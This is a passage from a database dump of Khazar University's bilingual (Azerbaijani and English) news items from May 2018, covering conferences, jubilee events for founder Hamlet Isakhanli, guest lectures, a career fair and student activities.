üzvü, professor Fəzail İbrahimli, Azərbaycan Respublikası Prezidenti yanında Dövlət İdarəçilik Akademiyasının kafedra müdiri, dosent Firdovsiyyə Əhmədova, tarix elmləri doktoru Vaqif Alışov və digərlərinin müxtəlif mövzularda məruzələri dinlənilib, müzakirə olunmuşdur.</p><p>Konfransda Xəzər Universiteti “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayev iştirak etmişdir.</p>'),(5652,3248,'en','Khazar University associate at the conference dedicated to 100th anniversary of the Azerbaijan Democratic Republic','On May 23, 2018, Scientific Research Center for Youth Problems...','<p>On May 23, 2018, Scientific Research Center for Youth Problems of the Ministry of Youth and Sport of the Republic of Azerbaijan, held a conference dedicated to 100<sup>th</sup> anniversary of the Azerbaijan Democratic Republic at International Press Center. Associates of the Center, universities, NGOs as well as public figures and members of the media participated at the conference.</p><p>Prof. Fazail Ibrahimli, a member of Parliament, Assoc.Prof. Firdovsiyya Ahmedova, Head of the Department of the Academy of Public Administration under the President of the Republic of Azerbaijan, Vagif Alishov, PhD in Historical Sciences and others delivered reports on various topics.</p><p>Khazar University was represented by honoured journalist Alirza Balayev, deputy editor-in-chief of “Khazar Review\" journal.</p>'),(5653,3249,'az','Moskva Dövlət Universitetindən professor Hamlet İsaxanlıya təbrik məktubu','Moskva Dövlət Universitetindən (MDU) professor Hamlet İsaxanlıya...','<p>Moskva Dövlət Universitetindən (MDU) professor Hamlet İsaxanlıya 70 illik yubileyi münasibətilə təbrik məktubu göndərilmişdir. Universitetin rektoru, Rusiya Elmlər Akademiyasının akademiki V.A.Sadovniçiy və universitetin professoru A.A.Şkalikovun imzaladıqları məktubda professor Hamlet İsaxanlının MDU-nun aspirantura və doktoranturasında təhsil illəri xatırlanır, riyaziyyat, humanitar elmlər və bədii yaradıcılıq sahəsində qazandığı nailiyyətlər yüksək qiymətləndirilir.</p>'),(5654,3249,'en','A congratulatory letter from Moscow State University to Prof. Hamlet Isakhanli','A congratulatory letter from Moscow State University (MSU) was sent...','<p>A congratulatory letter from Moscow State University (MSU) was sent to Prof. Hamlet Isakhanli on the occasion of his 70<sup>th</sup> jubilee. In the letter, signed by V.Sadovnichiy, Rector of the University and Academician of the Russian Academy of Sciences, and A.Shkalikov, the&nbsp;professor of the university, there are notes about memories on Prof. Hamlet Isakhanli’s postgraduate and doctoral studies at MSU. The letter also involves a high appreciation for Prof. Hamlet Isakhanli’s achievements in Mathematics, Humanities, and Poetry.</p>'),(5655,3250,'az','Rusiya Federasiyasının Başqırdıstan Respublikasından professor Hamlet İsaxanlıya təbrik məktubu','Rusiya Federasiyasının Başqırdıstan Respublikasından professor...','<p>Rusiya Federasiyasının Başqırdıstan Respublikasından professor Hamlet İsaxanlıya 70 illik yubileyi münasibətilə təbrik məktubu göndərilmişdir. Başqırdıstanın 30 nəfər görkəmli riyaziyyatçı və mexanik alim və mütəxəssisinin imzaladıqları məktubda professor Hamlet İsaxanlının rəhbərliyi altında dissertasiya müdafiə etmiş mütəxəssislərin Rusiya, ABŞ, İsrail, Türkiyə və digər ölkələrdə uğurla çalışdıqlarından bəhs olunur, onun elmi və bədii yaradıcılıq sahələrində, ictimai xadim kimi çoxşaxəli fəaliyyəti təqdir olunur.</p>'),(5656,3250,'en','A letter from the Republic of Bashkortostan of the Russian Federation to Prof. Hamlet Isakhanli','A letter from the Republic of Bashkortostan of the Russian Federation was...','<p>A letter from the Republic of Bashkortostan of the Russian Federation was to Prof. Hamlet Isakhanli on the occasion of his 70<sup>th</sup> jubilee. The letter was signed by 30 prominent mathematicians, mechanic scientists and specialists. In the letter, it is mentioned that specialists, for who Prof. Hamlet Isakhanli acted as a scientific supervisor for dissertations, gained achievements in Russia, the USA, Israel, Turkey and other countries. Moreover, the letter involves an appreciation for Prof. Hamlet Isakhanli’s performance in science and poetry.</p>'),(5658,3252,'az','Xəzər Universitetində “Hamlet İsaxanlının poeziyasına psixoloji səyahət” adlı tədbir keçirildi','2018-ci il mayın 25-də universitetin Mərmər salonunda Humanitar...','<p>2018-ci il mayın 25-də universitetin Mərmər salonunda Humanitar və sosial elmlər fakültəsi və Psixologiya departamentinin təşkilatçılığı ilə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunmuş&nbsp; “Hamlet İsaxanlının poeziyasına psixoloji səyahət” adlı tədbir keçirildi. Tədbirdə universitetin rəhbərliyi və əməkdaşları, tələbələr, tanınmış elm və incəsənət xadimləri iştirak edirdilər.</p><p>Tədbiri Psixologiya departamentinin müəllimi Nilufər Əlizadə açaraq, H.İsaxanlının poetik yaradıcılığının yeni rakursdan şərhi baxımından tədbirin özünəməxsusluğunu qeyd etdi. Sonra H.İsaxanlının həyat və fəaliyyətini əks etdirən videoçarx nümayiş olundu.</p><p>İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirova H.İsaxanlının şeirlərini ingilis dilinə tərcümə etmək təcrübəsindən danışdı və “Yaşamağa nə var ki?” şeirindən bəhs etdi. Humanitar və sosial elmlər fakültəsinin Psixologiya departamentinin koordinatoru, universitetin Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova, Psixologiya departamentinin müəllimləri Nilufər Əlizadə və Fərəh Adıgözəlova H.İsaxanlının şeirlərini psixoloji cəhətdən analiz etdilər, Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Dilbər Zeynalova, Fəlsəfə departamentinin müəllimi Mail Yaqub şairin şeirləri haqqında fikirlərini bildirdilər.</p><p>Şair, Əməkdar incəsənət xadimi Baba Vəziroğlu, Xalq yazıçısı Mövlud Süleymanlı öz çıxışlarında H.İsaxanlının görkəmli riyaziyyatçı alim olması ilə yanaşı çoxşaxəli fəaliyyətindən danışdılar, şair və tərcüməçi kimi, humanitar elm sahələrinin tədqiqatçısı kimi yaradıcılığından bəhs etdilər.</p><p>Nilufər Əlizadə H.İsaxanlının həyat yoldaşı Nailəxanım İsayeva ilə birlikdə çəkilmiş portretini ona hədiyyə verdi.</p><p>Tədbir musiqi proqramı ilə müşayiət olunurdu. Universitetin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın başçılıq etdiyi universitetin Kamera orkestrinin müşayiəti ilə Azərbaycan Dövlət Musiqili Teatrının solisti, beynəlxalq müsabiqələr laureatı Atəş Qarayev, Müslüm Maqomayev adına Dövlət Akademik Filarmoniyasının solisti, Xəzər Universitetinin müəllimi Məhsəti Çabbarova H.İsaxanlının sözlərinə Nailəxanım İsayeva, Əməkdar artist Elza Seyidcahan və Dilarə Qulamovanın bəstələdikləri mahnıları ifa etdilər.</p><p>Sonda professor Hamlet İsaxanlı çıxış edərək, tədbirin təşkilatçılarına və iştirakçılara təşəkkürünü bildirdi.</p>'),(5659,3251,'en','International conference dedicated to Professor Hamlet Isakhanli’s 70th anniversary held at Khazar University','On May 21-24, 2018, on the organizational support of the Department of Mathematics...','<p>On May 21-24, 2018, on the organizational support of the Department of Mathematics of Khazar University, under leadership of International Organization Committee consisting of the delegates from Azerbaijan, Russia, Georgia, Turkey, Ukraine, the USA, Sweden and the United Arab Emirates, the international conference \"Operators, Functions, and Systems of Mathematical Physics Conference\" (OFSMPC), dedicated to Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70th anniversary, was held in “Marble” hall of Khazar University. The main aim of the conference was to discuss recent developments and progress in Mathematical Physics.</p><p>The conference was attended by administration and staff of Khazar University as well as about 70 well-known scholars, specialists and researchers from Azerbaijan, Turkey, Iran, Russia, Georgia, Ukraine, Kazakhstan, Germany, France, Spain, Kingdom of Saudi Arabia, Austria, the USA, Italy, England, the United Arab Emirates.</p><p>The conference covered the following subjects: General operators and spectral theory; Analysis of Partial Differential Equations of Mathematical Physics; Bases, Frames and Approximants in problems of Mathematical Physics; Spectral theory of differential operators; Classical and quantum integrable models; String and quantum field theory; Special functions; Scattering Theory; Inverse problems.</p><p>Dr. Hassan Niknafs, the rector of Khazar University, welcomed the participants, spoke about the international significance of the event and congratulated Professor Hamlet Isakhanli on the occasion of the 70<sup>th</sup> jubilee on behalf of the conference participants.</p><p>Professor Hamlet Isakhanli, in his speech, called the discussion of new achievements and research directions in the field of Mathematical Physics and bringing together leading experts in the field in Baku, Khazar University as a remarkable event, thanked the participants and wished them success in the conference.</p><p>Then the experts started delivering their reports based on the conference agenda.</p><p>The conference continued its work in 4 sections within 4 days. About 70 reports were delivered and discussions were held.</p><p>A special session was held dedicated to Hamlet Isakhanli’s anniversary. The following reports were delivered: “On multi-parameter spectral theory of operators” by Hamlet Isakhanli, \"About the works on Hamlet Isakhanli\'s operators theory\" by Varga Kalantarov, Professor of Koç University of Turkey (Istanbul), \"The life path of Hamlet Isakhanli\" by Lyudmila Sotova, Director of the Quality Assurance Center, \"Prof. Hamlet Isakhanli\'s scientific works in Humanities and Social Sciences\" by Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, and \"Prof. Hamlet Isakhanli - poet, writer and translator\" by Prof. Asif Hajili.</p><p>On May 24, a closing ceremony of the conference was held in “Marble” hall. Prof. Hamlet Isakhanli delivered a closing speech. He mentioned that prominent scholars and experts took an&nbsp;active part in the conference and got familiar with new research findings. He also mentioned that there is a need to hold such conferences as frequently as possible.</p><p>Prof. Aleksander Soldatov, Belgorod State University of Russia, delivered a speech and expressed special gratitude for conducting a high quality conference to Prof. Hamlet Isakhanli, all the organizers and the conference participants.</p><p>Baku tour, a reception and a concert of Chamber orchestra of Khazar University were organized for the conference participants.</p>'),(5660,3252,'en','An event entitled \"Psychological journey to Hamlet Isakhanli\'s poetry\" held at Khazar University','On May 25, 2018, on the organizational support of the Faculty...','<p>On May 25, 2018, on the organizational support of the Faculty of Humanities and Social Sciences and the Department of Psychology, an event entitled \"Psychological journey to Hamlet Isakhanli\'s poetry\" was held at Khazar University which was dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, 70<sup>th</sup> anniversary. The event was attended by the administration, staff and students of the University as well as well-known scientists and art figures.</p><p>In her opening speech, Nilufar Alizadeh, an instructor of the Department of Psychology, underlined the peculiarity of the event in terms of interpretation of Hamlet Isakhanli’s poetry from a new perspective. Then a video about Hamlet Isakhanli\'s life and career was played.</p><p>Firangiz Nasirova, Head teacher of the Department of English Language and Literature, talked about her experience of translating Hamlet Isakhanli\'s poems into English. She also talked about Hamlet Isakhanli\'s poem entitled “Yaşamağa nə var ki?”. Melek Kerimova, coordinator&nbsp;of the Department of Psychology   of the School of Humanities and Social Sciences and Director of Psychological Service Center of Khazar University, Nilufar Alizadeh and Farah Adigozelova, instructors of the Department of Psychology, made psychological analyses of Hamlet Isakhanli’s poems. Besides, Dilbar Zeynalova, an instructor of the Department of Azerbaijani Language and Literature, and Mail Yagub, an instructor of the Department of Philosophy, shared their views about Hamlet Isakhanli’s poems.</p><p>In their speech, Baba Vaziroghlu, poet and Honored Art Worker, and Movlud Suleymanli, People\'s Writer, stressed that along with being a prominent mathematician, Hamlet Isakhanli has also built an astonishing career in Humanities as a researcher and has become a well-known poet and translator.</p><p>Nilufar Alizadeh presented a portrait depicting Hamlet Isakhanli and Nailakhanim Isayeva, his wife, to Hamlet Isakhanli.</p><p>The event was accompanied by a music program. Chamber orchestra of the University, led by Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, Honored Teacher and pianist, accompanied by Atesh Garayev, soloist of Azerbaijan State Musical Theater and laureate of international competitions, and Mahsati Jabbarova, an instructor of Khazar University and soloist of Azerbaijan State Philharmonic named after Muslim Magomayev, who performed pieces of music with lyrics by Hamlet Isakhanli which were composed by Nailakhanim Isayeva, Elza Seyidjahan and Dilara Gulamova.</p><p>At the end of the event, Hamlet Isakhanli delivered a speech and expressed his thanks to organizers and participants.</p>'),(5661,3253,'az','Meksika səfiri Xəzər Universitetində mühazirə ilə çıxış etdi','2018-ci il mayın 23-də Meksikanın Azərbaycandakı səfiri cənab...','<p>2018-ci il mayın 23-də Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardini müqayisəli siyasət dərsində qonaq mühazirəçi kimi çıxış etdi.</p><p>Cənab Labardini hakimiyyətin paylaşılması, hər bir hakimiyyət qolunun məsuliyyəti və 3 struktur (qanunverici, icraedici, məhkəmə) arasında mövcud olan qarşılıqlı “nəzarət və balans” mexanizmi haqqında danışdı. Eyni zamanda, cənab səfir tələbələrlə birlikdə müxtəlif idarəçilik modellərini və ölkələrin fərqli idarəçilik sistemlərinin müqayisəli təhlilini apardı.</p><p>Mühazirə sual-cavab sessiyası ilə başa çatdı.</p>'),(5662,3253,'en','Mexican ambassador delivers a lecture at Khazar University','On May 23, 2018, Mr Rodrigo Labardini, Mexican ambassador to Azerbaijan...','<p>On May 23, 2018, Mr Rodrigo Labardini, Mexican ambassador to Azerbaijan, delivered a lecture as a guest lecturer at the lesson of Comparative Politics.</p><p>In his lecture, Mr Rodrigo talked about distribution of power, 3 structures of power (legislative, executive, judicial) and responsibilities of each power as well as a mutual mechanism of “control and balance” among the three powers. Moreover, Mr Rodrigo talked about various administration models and gave comparative analyses of various systems of administration.</p><p>The lecture ended with a question and answer session.</p>'),(5663,3254,'en','Academic title Associate Professor conferred on the instructor of the Department of History and Archaeology','On May 24, 2018, a diploma presentation ceremony was held at Supreme Attestation...','<p>On May 24, 2018, a diploma presentation ceremony was held at Supreme Attestation Commission under the President of the Republic of Azerbaijan. In the ceremony, Sabuhi Ahmadov, the instructor of the Department of History and Archaeology and PhD in History, was conferred an academic title Associate Professor in the specialty “History of Country” on the decision of Supreme Attestation Commission under the President of the Republic of Azerbaijan, dated April 13, 2018. S.Ahmadov is an author of 15 books about military history and heraldry of Azerbaijan as well as 100 scientific articles.</p>'),(5664,3254,'az','Tarix və arxeologiya departamentinin müəllimi dosent elmi adına layiq görüldü','2018-ci il mayın 22-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya...','<p>2018-ci il mayın 22-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının diplom təqdim etmə mərasimi keçirilmişdir. Mərasimdə Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, tarix üzrə fəlsəfə doktoru Səbuhi Əhmədova Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının 13 aprel 2018-ci il tarixli qərarı ilə “vətən tarixi” ixtisası üzrə dosent (Associate Professor) elmi adı verilmişdir. S.Əhmədov Azərbaycanın hərb tarixi və heraldikasına aid 15 kitabın, 100-dən artıq elmi və elmi-populyar məqalələrin müəllifidir.</p>'),(5665,3255,'az','“Xəzər Humanitar və Sosial Elmlər jurnalı”nın yeni sayı nəşr edildi','“Xəzər Humanitar və Sosial Elmlər jurnalı”nın yeni sayı...','<p>“Xəzər Humanitar və Sosial Elmlər jurnalı”nın yeni sayı (Vol 21, № 2, 2018) Xəzər Universitetinin mətbəəsində nəşr edilmişdir.</p><p>Jurnalın bu sayında aşağıdakı mövzular əhatə olunur: Gürcüstan təhsilində islahat/sinif qiymətləndirməsi üçün tövsiyyələr; Esse yazılarında İnglis dili öyrənən tələbələrin müəllim rəyi və tələbə rəyi haqqında mülahizələri; 9-11 yaşı şagirdlərin çəkdikləri şəkillərdə zorakılıq haqqında fikirləri; Azərbaycan, Türkmənistan və Özbəkistanın enerji strategiyası; Beynəlxalq qanunlarda azadlıqların bəyan edilmə formaları və konstitusionalizmin elementi kimi hakimiyyətin bölgüsünə dair müasir konsepsiyanın xüsusiyyətləri.</p><p>Jurnal ildə dörd dəfə nəşr edilir.</p><p>Jurnalın açıq elektron versiyasını aşağıdakı keçiddən əldə etmək olar:</p><p><a href=\"http://www.jhss-khazar.org\">http://ww.jhss-khazar.org</a>.</p>'),(5666,3256,'az','Tələbələr müzakirə keçirdilər','2018-ci il mayın 19-dan 23-dək Xəzər Universitetinin şəhər mərkəzində...','<p>2018-ci il mayın 19-dan 23-dək Xəzər Universitetinin şəhər mərkəzində yerləşən binasında ingilis dili üzrə “Foundations” təhsili alan tələbələr müzakirələr keçirdilər. Müzakirədə universitetin əksər fakültələrindən tələbələr iştirak etdilər və müzakirə üçün bir çox mövzular təklif etdilər ki, bu da onları müzakirələrə daha fəal olmağa sövq etdi. Müzakirələrdə tələbələr auditoriya qarşısında sərbəst çıxış etmək, tənqidi fikir söyləmək və inandırıcı arqumentlərdən istifadə etmək imkanı əldə etdilər. Müzakirə iştirakçılarına nə çap materiallarından və də innovativ resurslardan istifadə etməyə icazə verilmirdi. İngilis&nbsp;dili müəllimləri isə prosesi müşahidə etdilər və çoxsaylı tələbələrin müzakirələrdə iştirakını təmin etdilər.</p><p>Tələbələr bu mövzular ətrafında müzakirə apardılar:</p><p>İnkişaf hər zaman yaxşıdırmı?</p><p>Pul bütün pisliklərin mənbəyidirmi?</p><p>Kompüterlər müəllimləri əvəz edə bilərmi?</p><p>Şəhərdə (və ya kənddə) yaşamaq daha yaxşıdırmı?</p><p>Nə daha önəmlidir: sevgi, yoxsa pul?</p>'),(5667,3256,'en','Students hold discussion','On May 19-23, classroom debates for English Foundations students were...','<p>On May 19-23, classroom debates for English Foundations students were held in the Downtown campus of Khazar University. Most groups of all schools of the University took part in the debates. The students themselves helped a lot by suggesting a number of topics for discussions. So, they did research and were asked to vote for topics in advance. That helped to get them more engaged in the activity. Thus, all students were given a chance to speak up without fear in public, demonstrate their critical thinking skills and persuasive argument techniques. The debaters were not allowed either to read from papers or use any innovative tools during the discussions. Their English instructors just observed and helped run large numbers of students.</p><p>Here is the list of the debate topics that students discussed:</p><p>Is progress always good?</p><p>Is money the root of all evil?</p><p>Can computers replace teachers?</p><p>Is it better to live in the city (in the country)?</p><p>What is more important: love or money?</p>'),(5668,3257,'az','Coğrafiya və ətraf mühit departamentinin müdiri Malayziyada oldu','2018-ci il mayın 22-dən 25-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin...','<p>2018-ci il mayın 22-dən 25-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Malayziyanın Kuala Lumpur şəhərində Təbii Fəlakətlər üzrə Qlobal Şəbəkənin (Global Network on Disaster Risk Reduction) keçirdiyi Qlobal Sammitində iştirak etdi.</p>'),(5669,3257,'en','Head of the Department of Geography and the Environment visits Malaysia','On May 22-25, 2018, Rovshan Abbasov, Head of the Department...','<p>On May 22-25, 2018, Rovshan Abbasov, Head of the Department of Geography and the Environment, participated in a Global Summit, organized by Global Network on Disaster Risk Reduction, held in Kuala Lumpur, Malaysia.</p>'),(5670,3258,'az','“Koreya kino günü” təşkil oldundu ','2018-ci il mayın 24-də Xəzər Universiteti Dillər və mədəniyyətlər departamenti...','<p>2018-ci il mayın \r\n24-də Xəzər Universiteti Dillər və mədəniyyətlər departamenti tərəfindən\r\n “Koreya kino günü” adlı tədbir təşkil olundu. Xarici və yerli qonaqlar,\r\n habelə tələbələrin iştirak etdiyi bu tədbirdə, departamentin Koreya dili\r\n müəlliməsi Könül Kamilzadənin təşkilatçılığı ilə “Coqqi kralı” adlı \r\nKoreya filmi nümayiş etdirildi.</p>'),(5671,3258,'en','\"Korean Cinema Day\" organized ','On May 24, 2018, the Department of Languages and Cultures...','<p>On May 24, 2018, the \r\nDepartment of Languages and Cultures of Khazar University organized an \r\nevent \"Korean Cinema Day\" which was attended by national and \r\ninternational guests as well as students. A Korean movie “The King of \r\nJoggy” was played on organizational support by Konul Kamilzadeh, Korean \r\nlanguage instructor of the department.</p>'),(5672,3259,'az','Növbəti Karyera Sərgisi baş tutdu ','2018-ci il mayın 29-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü...','<p>2018-ci il mayın \r\n29-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə ənənəvi \r\nolaraq hər il keçirilən Karyera Sərgisi baş tutdu. Karyera sərgisinin \r\nkeçirilməsinin əsas məqsədi tələbə və məzunların iş həyatına inteqrasiya\r\n prosesini dəstəkləyərək, onları mövcud bazarın aparıcı şirkətləri ilə \r\ntanış etməkdir. Tədbir “Baker Tilly” şirkətinin xüsusi dəstəyi ilə \r\nhəyata keçirildi. Sərgidə Amerika səfirliyi də daxil olmaqla, 24 \r\nşirkətin nümayəndələri iştirak edirdilər. </p><p>Xəzər Universitetinin \r\nTədris işləri üzrə prorektoru professor Məmməd Nuriyev çıxış edərək, \r\nKaryera Sərgisini açıq elan etdi. O, öz çıxışında sponsorluğa görə \r\n“Baker Tilly” şirkətinə və digər iştirakçı şirkətlərə təşəkkür etdi. </p><p>Tələbələrin\r\n marağını nəzərə alaraq, tədbir iki hissədən ibarət təşkil olundu. \r\nTədbirə Xəzər Universitetinin tələbələri, məzunları, həmçinin, digər \r\nuniversitetlərin iştirakçıları qatıldı. Onlar şirkət nümayəndələrinə öz \r\nCV-lərini təqdim edərək, mövcud vakansiyalarla tanış olmaq şansı əldə \r\netdilər. İştirak edən tələbələrə Karyera Mərkəzi tərəfindən tədbirin \r\npromo materialları təqdim edildi. </p><p>Sonda Karyera Mərkəzinin meneceri Səbinə Allahverənova tədbirdə iştirak edənlərə öz təşəkkürünü bildirdi. </p>'),(5673,3259,'en','Next Career Fair takes place','On May 29, 2018, on the initiatives of Career Center of Khazar University...','<p>On May 29, 2018, on the \r\ninitiatives of Career Center of Khazar University, a traditional Career \r\nFair was held. The main aim of the fair was to support the integration \r\nprocess of students into business life and make them familiar with \r\nleading companies of the labour market. The fair was held with special \r\nsupport of “Baker Tilly” company. Representatives of 24 companies, \r\nincluding the USA embassy, joined the fair. </p><p>Prof. Mahammad \r\nNuriyev, Vice President of Khazar University for Academic Affairs, \r\ndelivered an opening speech at the fair and expressed his gratitude to \r\n“Baker Tilly” and other companies for sponsorship. </p><p>Taking \r\nstudents interest into consideration, the fair was held in two parts. \r\nStudents and graduates of Khazar University, as well as associates of \r\nother universities, joined the fair. Participants had the chance to \r\nsubmit their CV to companies and get information about current \r\nvacancies. The participants were provided with promo materials of the \r\nfair by Career Centre. </p><p>Sabina Allahveranova, Manager of Career Center, thanked the participants for active participation at the fair.</p>'),(5674,3260,'az','“Xəzər”lilərin iştirakı ilə Söhrab Tahirin anım mərasimi keçirildi ','2018-ci il mayın 27-də “Dünyaya yayılsın birlik harayım!...','<p>2018-ci\r\n il mayın 27-də “Dünyaya yayılsın birlik harayım!” –deyən xalq şairi \r\nSöhrab Tahirin doğum günü münasibətilə anım mərasimi keçirildi. Tədbir \r\niştirakçıları II Fəxri xiyabana gələrək, şairin xatirəsini yad etdilər. </p><p>Xəzər\r\n Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi \r\nQardaşxan Əzizxanlı anım mərasimini açaraq, onun həyatı və fəaliyyəti \r\nhaqda danışdı. </p><p>Xəzər Universitetinin tələbələri gənc filoloqlar \r\nPinar Məmmədzadə, Aytac Həsənova, Səkinə Ələkbərli, Nəzrin İsmayılova \r\nşairin xatirəsinə ehtiramlarını bildirdilər. </p><p>Tədbirdə iştirak \r\nedən şairin qızı Nəsibə Tahiri Söhrab Tahirin ömrünün son aylarınadək \r\ngənclik enerjisi ilə yaşayıb-yaratmasından söz açdı, şairin xatirəsini \r\nyad etdikləri üçün mərasim iştirakçılarına minnətdarlığını bildirdi.</p>'),(5675,3260,'en','Sohrab Tahir is commemorated by “Khazar” ','On May 27, 2018, a commemoration day for Sohrab Tahir, People’s Poet...','<p>On May 27, \r\n2018, a commemoration day for Sohrab Tahir, People’s Poet who declared \r\n“Let my voice spread around the world”, was held on the occasion of his \r\nanniversary. Participants of the event visited the 2nd Alley of Honor in\r\n remembrance of the poet. </p><p>Gardashkhan Azizkhanli, the instructor \r\nof the Department of Azerbaijani Language and Literature, Khazar \r\nUniversity, opened the commemoration ceremony and talked about Sohrab \r\nTahir’s life and career. </p><p>Pinar Mammadzadeh, Aytaj Hasanova, \r\nSakina Alakbarli, Nazrin Ismayilova, young philologists and students of \r\nKhazar University, expressed their respect for the memory of the poet.  </p><p>Nasiba\r\n Tahiri, the daughter of the poet, stressed how Sohrab Tahir worked with\r\n youngish enthusiasm until his death. She also thanked the participants \r\nfor the commemoration of the poet.</p>'),(5676,3261,'az','Xəzər Universitetinin tələbəsi mükafat aldı ','2018-ci il mayın 25-də Azərbaycan Respublikası Nazirlər Kabineti yanında...','<p>2018-ci il\r\n mayın 25-də Azərbaycan Respublikası Nazirlər Kabineti yanında \r\n“İçərişəhər” Dövlət Tarix-Memarlıq Qoruğu İdarəsi və AMEA-nın \r\ntəşkilatçılığı ilə Azərbaycan Xalq Cümhuriyyətinin 100 illiyinə həsr \r\nolunmuş “Azərbaycan Cümhuriyyəti-100” adlı elmi əsərlərin müsabiqəsi \r\nkeçirildi.  </p><p>Azərbaycan Milli Elmlər Akademiyası Rəyasət Heyəti \r\nkatibliyinin rəisi, Xəzər Universitetinin II kurs magistrantı Zeynəb \r\nHəcəmovanın “Ürəklərdə alovlanan azadlıq məşəli” adlı məqaləsi uğurlu \r\nməqalə hesab edilərək, Azərbaycan Respublikası Nazirlər Kabineti yanında\r\n “İçərişəhər” Dövlət Tarix-Memarlıq Qoruğu İdarəsinin sədri və \r\nAzərbaycan Milli Elmlər Akademiyasının prezidenti tərəfindən imzalanmış \r\nsertifikat, kitab və digər mükafatlarla təltif olundu.</p>'),(5677,3261,'en','Khazar University student is rewarded ','On May 25, 2018, on the organizational support of Administration of State Historical...','<p>On May 25, 2018,\r\n on the organizational support of Administration of State Historical-Architectural Reserve \"Icherisheher\" under Cabinet of Ministres of \r\nAzerbaijan and ANAS, a competition for scientific works entitled “The \r\nAzerbaijan Democratic Republic-100” dedicated to 100th anniversary of \r\nthe Azerbaijan Democratic Republic, was held. </p><p>The article \r\nentitled “A flame of freedom burning in hearts” by Zeynab Hajamova, 2nd \r\nyear Master’s student at Khazar University and Head of the Secretariat \r\nof Presidium of the Azerbaijan National Academy of Sciences, was \r\nconsidered a successful article. The author was rewarded with a \r\ncertificate, signed by Head of Administration of State \r\nHistorical-Architectural Reserve \"Icherisheher\" under Cabinet of \r\nMinistres of Azerbaijan and President of Azerbaijan National Academy of \r\nSciences, as well as a book and other awards. </p>'),(5678,3262,'az','Prinston Universitetinin professoru Xəzər Universitetində mühazirə oxudu ','2018-ci il mayın 25-də Prinston Universitetinin Yaxın Şərq Tədqiqatları üzrə dosenti...','<p>2018-ci\r\n il mayın 25-də Prinston Universitetinin Yaxın Şərq Tədqiqatları üzrə \r\ndosenti Maykl A.Reynoldz Xəzər Universitetində “Azərbaycan \r\ndemokratiyasının qlobal kontekstdə meydana çıxması” mövzusunda mühazirə \r\noxudu. Dr. Maykl Reynoldz Prinston Unversitetində doktorluq dərəcəsi, \r\nKolumbiya Universitetində siyasi elmlər üzrə magistr dərəcəsi və Harvard\r\n Universitetində idarəçilik və slavyan dilləri üzrə bakalavr dərəcəsi \r\nalmışdır. Dr. Maykl Reynoldz, “Sarsılan imperiyalar: Osmanlı və Rusiya \r\nimperiyalarınn toqquşması və süqutu, 1908-1918” kitabının (Kembric \r\nUniversiteti Nəşriyyatı, 2011) müəllifidir. O, Amerika Tarix \r\nAssosiasiyasının “George Louis Beer Prize” mükafatına, eləcə də “Choice \r\nMötəbər Titullar” mükafatına layiq görülmüşdür. Dr. Maykl Reynoldz \r\n“Qafqazın tikililəri: imperiyalar, xalqlar və inanclar” kitabının \r\nredaktorudur (Markus Weiner, 2015). </p><p>Mühazirədə Siyasi elmlər və \r\nbeynəlxalq əlaqələr departamentinin tələbələri və müəllimləri iştirak \r\nedirdilər. Mühazirənin sonunda iştirakçıların sualları cavablandırıldı. </p>'),(5679,3262,'en','Professors of Princeton University Delivers a Lecture at Khazar University ','On May 25, 2018 Khazar University hosted a lecturer from Princeton...','<p>On May 25, 2018 Khazar University hosted a lecturer from Princeton University on its Neftchiler campus.  </p>\r\n<p>Michael\r\n A. Reynolds, Associate Professor of Near Eastern Studies at Princeton \r\nUniversity, delivered a lecture entitled “The Birth of Azerbaijani \r\nDemocracy in its Global Context.” Dr. Michael Reynolds holds a PhD in \r\nNear Eastern Studies from Princeton, an MA in Political Science from \r\nColumbia, and a BA in Government and Slavic Languages from Harvard. He \r\nis the author of Shattering Empires: The Clash and Collapse of the \r\nOttoman and Russian Empires, 1908-1918 (Cambridge University Press, \r\n2011), a recipient of the American Historical Association’s George Louis\r\n Beer Prize, a Choice outstanding title, and a Financial Times book of \r\nthe summer, and editor of Constellations of the Caucasus: Empires, \r\nPeoples, and Faiths (Markus Weiner, 2015). </p><p>The lecture which was \r\nattended by the students and staff of Political Science and \r\nInternational Relations department ended with a Q&amp;A session.</p>'),(5680,3263,'az','“Azərbaycan tarixi” dərsi AXC-nin 100 illiyinə həsr edildi ','2018-ci il mayın 25-də Xəzər Universiteti Tarix və arxeologiya departamentinin...','<p>2018-ci\r\n il mayın 25-də Xəzər Universiteti Tarix və arxeologiya departamentinin \r\nmüəllimi Xaqan Balayevin tədris etdiyi “Azərbaycan tarixi” dərsində Təhsil fakültəsinin C qrupunun tələbələri AXC-nin 100 illiyi ilə bağlı \r\nhazırladıqları prezentasiyalarının qrup qarşısında təqdimatlarını \r\nkeçirdilər. AXC-nin dövlət xadimləri barədə hazırlanan prezentasiyalar \r\nslaydlar göstərilməklə, nümayiş etdirildi. Tələbələrdən Aysel Qocayeva \r\nM.Ə.Rəsulzadə, Fidan Zeynalova F.X.Xoyski, Təranə Mansurova \r\nƏ.Topçubaşov, Seyran Məmmədova Y.Çəmənzəminli, Aysel Süleymanlı \r\nS.Mehmandarov haqqında maraqlı təqdimat etdilər.</p>'),(5681,3263,'en','The lesson of \"History of Azerbaijan\" is dedicated to the 100th anniversary of the ADR ','On May 25, 2018, in the lesson of 